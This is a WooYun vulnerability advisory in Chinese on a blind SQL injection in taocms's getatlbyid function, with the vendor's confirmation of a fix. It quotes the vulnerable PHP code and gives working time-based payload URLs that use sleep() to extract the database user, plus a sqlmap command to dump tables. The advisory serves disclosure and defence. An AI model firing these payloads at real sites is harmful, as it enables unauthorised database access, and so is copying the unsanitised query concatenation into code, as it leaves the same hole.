当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061361

漏洞标题:taocms 一处sql盲注

相关厂商:taocms开源

漏洞作者: 疯狂的dabing

提交时间:2014-05-23 11:13

修复时间:2014-07-07 11:13

公开时间:2014-07-07 11:13

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-23: 细节已通知厂商并且等待厂商处理中
2014-05-25: 厂商已经确认,细节仅向厂商公开
2014-06-04: 细节向核心白帽子及相关领域专家公开
2014-06-14: 细节向普通白帽子公开
2014-06-24: 细节向实习白帽子公开
2014-07-07: 细节向公众公开

简要描述:

比较尴尬的是,猜测由于官网使用了memcache,因此盲注失败了。。。

详细说明:

@′ 雨。
WooYun: Taocms的Sql注射一枚可以无视GPC
上面的漏洞成因是:
$path变量来自于$_SERVER['QUERY_STRING'],因此变量不受GPC保护(虽然高版本PHP已经去掉了GPC)。
于是作者的修复方法是:$path = Base::safeword($path);
用addslashes为单引号转义。
所以找个数字型的继续注入就OK。
taoCMS的架构设计比较奇特,可以调用Index类中public方法。
访问
http://url/index.php/?path&action=getatlbyid
就调用了
Index::getatlbyid(‘?path&action=getatlbid’);

static public function getatlbyid($id){
if(!$id)return null;
self::$_db=new Dbclass(SYS_ROOT.DB_NAME);
if(MEMCACHE){
self::$_mem=new Memcached(MEMCACHE);
if(!$atl=self::$_mem->get($id.'_cms')){
$atl=self::$_db->get_one(TB."cms",'status=1 and id='.$id,"*",1);;
self::$_mem->set($id.'_cms',$atl);
}
}else{
$atl=self::$_db->get_one(TB."cms",'status=1 and id='.$id,"*",1);
}
return $atl;
}


可以看到$id没有进行任何处理就带入了sql查询,因此导致了注入。
这里引入了一个?导致没办法进行办法闭合掉,不过好在是用了$_SERVER['QUERY_STRING']来获取查询参数,所以可以把?放到后边规避掉。
访问方式就是
http://url/index.php/payload%23?action=getatlbyid
蛋疼的是这个函数没有输出结果。。。报错也没有回显,因此只能用盲注了。
http://demo/tao/index.php/if(ascii(substr(user(),1,1))>113,sleep(4),26)%23?action=getatlbyid
延迟
http://demo/tao/index.php/if(ascii(substr(user(),1,1))>114,sleep(4),26)%23?action=getatlbyid
正常
第一个字母是char(114)=r。
手工盲注太费事,写个中转脚本用sqlmap跑下。

tao.png


./sqlmap.py -u http://demo/tao.php?sqli=26 --technique T --dbms MySQL --prefix "" --suffix "" -D taocms --tables

sqlmap.png

漏洞证明:

static public function getatlbyid($id){
if(!$id)return null;
self::$_db=new Dbclass(SYS_ROOT.DB_NAME);
if(MEMCACHE){
self::$_mem=new Memcached(MEMCACHE);
if(!$atl=self::$_mem->get($id.'_cms')){
$atl=self::$_db->get_one(TB."cms",'status=1 and id='.$id,"*",1);;
self::$_mem->set($id.'_cms',$atl);
}
}else{
$atl=self::$_db->get_one(TB."cms",'status=1 and id='.$id,"*",1);
}
return $atl;
}


$id未处理带入sql查询,导致注入。

修复方案:

sqli防注入

版权声明:转载请注明来源 疯狂的dabing@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-25 00:17

厂商回复:

感谢dabing,已经修复!

最新状态:

暂无